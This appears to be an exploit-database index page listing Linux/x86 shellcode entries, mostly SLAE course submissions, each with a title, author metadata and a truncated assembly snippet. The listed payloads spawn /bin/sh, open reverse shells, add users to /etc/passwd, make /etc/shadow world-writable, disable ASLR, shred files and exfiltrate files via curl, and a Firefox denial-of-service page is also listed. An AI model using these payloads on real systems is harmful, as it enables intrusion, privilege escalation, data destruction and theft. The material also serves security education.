Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes)

Title: Linux/x86 NOT|ROT+8 Encoded execve/bin/sh null-free Shellcode 47 bytes Author: Daniel Ortiz Date: 2019-10-30 Tested on: Linux 4.18.0-25-generic 26 Ubuntu Size: 47 bytes SLAE ID: PA-9844 ----------------------- execve ------------------------------------------------ global start section .te...

Linux/x86 - adduser (User) to /etc/passwd Shellcode (74 bytes)

Exploit Title: Linux/x86 - adduser 'User' to /etc/passwd ShellCode 74 bytes Author: bolonobolo Vendor Homepage: None Software Link: None Tested on: Linux x86 Comments: add user "User" to /etc/passwd CVE: N/A / 00000000 31DB xor ebx,ebx 00000002 31C9 xor ecx,ecx 00000004 66B90104 mov cx,0x401...

Linux/x86 - execve /bin/sh Shellcode (25 bytes)

Exploit Title: Linux/x86 - execve /bin/sh ShellCode 25 bytes Author: bolonobolo Vendor Homepage: None Software Link: None Tested on: Linux x86 CVE: N/A / global start section .text start: cdq ; xor edx mul edx lea ecx, eax mov esi, 0x68732f2f mov edi, 0x6e69622f push ecx ; push NULL in stack push...

Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)

Exploit Title: Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode 91 bytes Author: bolonobolo Tested on: Linux x86 Software: N/A CVE: N/A / global start section .text start: ;socket xor ecx, ecx ; xoring ECX xor ebx, ebx ; xoring EBX mul ebx ; xoring EAX and EDX inc cl ; ECX should be 1...

Linux/x86 - NOT + XOR-N + Random Encoded /bin/sh Shellcode (132 bytes)

Date: 4th October 2019 Shellcode Author: @bolonobolo - https://bolonobolo.github.io Tested on: Linux x86 execve.asm global start section .text start: ; put NULL bytes in the stack xor eax, eax push eax //bin/sh push 0x68732f6e push 0x69622f2f mov ebx, esp ; push NULL in the EDX position push eax...

Linux/x86 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Byte Free Shellcode (107 Bytes)

/ ; name : Exploit Title: Linux/x86 - TCP reverse shell 127.0.0.1 nullbyte free ; author : Sandro "guly" Zaccarini ; twitter : @theguly ; blog : https://gulyslae.github.io/ ; SLAE32 : SLAE-1037 ; purpose : the program will create a new connection to 127.0.0.1:4444 and spawns a shell ; this code h...

Linux/x86 - Force Reboot Shellcode (51 bytes)

---------------------- DESCRIPTION ------------------------------------- ; Title: NOT encoded Linux/x86 Force Reboot shellcode for Linux/x86 - Polymorphic ; Author: Daniel Ortiz ; Tested on: Linux 4.18.0-25-generic 26 Ubuntu ; Size: 51 bytes ; SLAE ID: PA-9844 ---------------------- ASM CODE...

Linux/x86 chmod(/etc/shadow, 0666) Polymorphic Shellcode (53 bytes)

---------------------- DESCRIPTION ------------------------------------- ; Title: chmod“/etc/shadow”, 0666 and exit for Linux/x86 - Polymorphic ; Author: Daniel Ortiz ; Tested on: Linux 4.18.0-25-generic 26 Ubuntu ; Size: 53 bytes ; SLAE ID: PA-9844 ---------------------- ASM CODE...

Linux/x86 - ASLR Disable Polymorphic Shellcode (107 bytes)

---------------------- DESCRIPTION ------------------------------------- ; Title: Linux x86 ASLR deactivation for Linux/x86 - Polymorphic ; Author: Daniel Ortiz ; Tested on: Linux 4.18.0-25-generic 26 Ubuntu ; Size: 107 bytes ; SLAE ID: PA-9844 ---------------------- ASM CODE...

Firefox 67.0.4 - Denial of Service Exploit

Loading please wait function MyFun var text = ; forvar i=0 ;i"+ ""+ ""+ ""+ ""+ ""+ "\x7...

Firefox 67.0.4 - Denial of Service

Loading please wait function MyFun var text = ; forvar i=0 ;i"+ ""+ ""+ ""+ ""+ ""+ "\x7...

Linux/x86 - Multiple keys XOR Encoder / Decoder execve(/bin/sh) Shellcode (59 bytes)

Title: Linux/x86 - Multiple keys XOR Encoder / Decoder execve/bin/sh Shellcode 59 bytes Author: Xavi Beltran Date: 05/05/2019 Contact: email protected Purpose: spawn /bin/sh shell Tested On: Ubuntu 3.5.0-17-generic Arch: x86 Size: 59 bytes sh.nasm global start section .text start: xor eax, eax pu...

Linux/x86 - shred file Shellcode (72 bytes)

Exploit Title: Linux/x86 shred file 72 bytes Google Dork: None Exploit Author: strider Vendor Homepage: None Software Link: None Tested on: Debian 9 Stretch i386/ Kali Linux i386 CVE : None Shellcode Length: 72 ------------------------------Description--------------------------------- This...

Linux/x86 - Cat File Encode to base64 and post via curl to Webserver Shellcode (125 bytes)

Exploit Title: Linux/x86 cat file encode to base64 and post via curl to webserver 125 bytes Exploit Author: strider Vendor Homepage: None Software Link: None Tested on: Debian 9 Stretch i386/ Kali Linux i386 CVE : None Shellcode Length: 125...

Linux/x86 - MMX-XOR Encoder / Decoder execve(/bin/sh) Shellcode (44 bytes)

/ ; Date: 02/03/2019 ; NOT-Encoder.py ; Author: Daniele Votta ; Description: This program encode shellcode with NOT technique. ; Tested on: i686 GNU/Linux ; Shellcode Length:25 !/usr/bin/python Python NOT Encoder Execve /bin/sh shellcode...

Linux/x86 - NOT Encoder / Decoder - execve(/bin/sh) Shellcode (44 bytes)

/ ; NOT-Encoder.py ; Author: Daniele Votta ; Description: This program encode shellcode with NOT technique. ; Tested on: i686 GNU/Linux ; Shellcode Length:25 !/usr/bin/python Python NOT Encoder Execve /bin/sh shellcode...

Linux/x86 - INSERTION Encoder / Decoder execve(/bin/sh) Shellcode (88 bytes)

/ ''' ; Date: 07/03/2019 ; Insertion-Encoder.asm ; Author: Daniele Votta ; Description: This program encode shellcode with insertion technique 0xAA. ; Tested on: i686 GNU/Linux ''' !/usr/bin/python Python Insertion Encoder import random Execve /bin/sh 25 bytes shellcode...

Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)

Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes. Shellcode exploit for Linuxx86 platform Title: Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes Author: Kartik Durg Date: 201-10-04 Shellcode Length: 104 BYTES Student-ID: SLAE-1233 Write-u...

Linux/x86 - Egghunter (0x50905090) + sigaction() Shellcode (27 bytes)

Linux/x86 - Egghunter 0x50905090 + sigaction Shellcode 27 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux/x86 - Egghunter + sigaction-based Shellcode 27 bytes Author:Valbrux Date: 2018-09-19 This exploit is a dirty-slow but small version of the sigaction-based egg hunter shellcode...

Linux/x86 - Add User(r00t/blank) Polymorphic Shellcode (103 bytes)

/ Shellcode Title: Linux/x86 - Add Userr00t/blank Polymorphic Shellcode 103 bytes Date: 2018-09-13 Author: Ray Doyle @doylersec Homepage: https://www.doyler.net Tested on: Linux/x86 gcc -o polyaddusershellcode -z execstack -fno-stack-protector polyaddusershellcode.c / / Disassembly of section...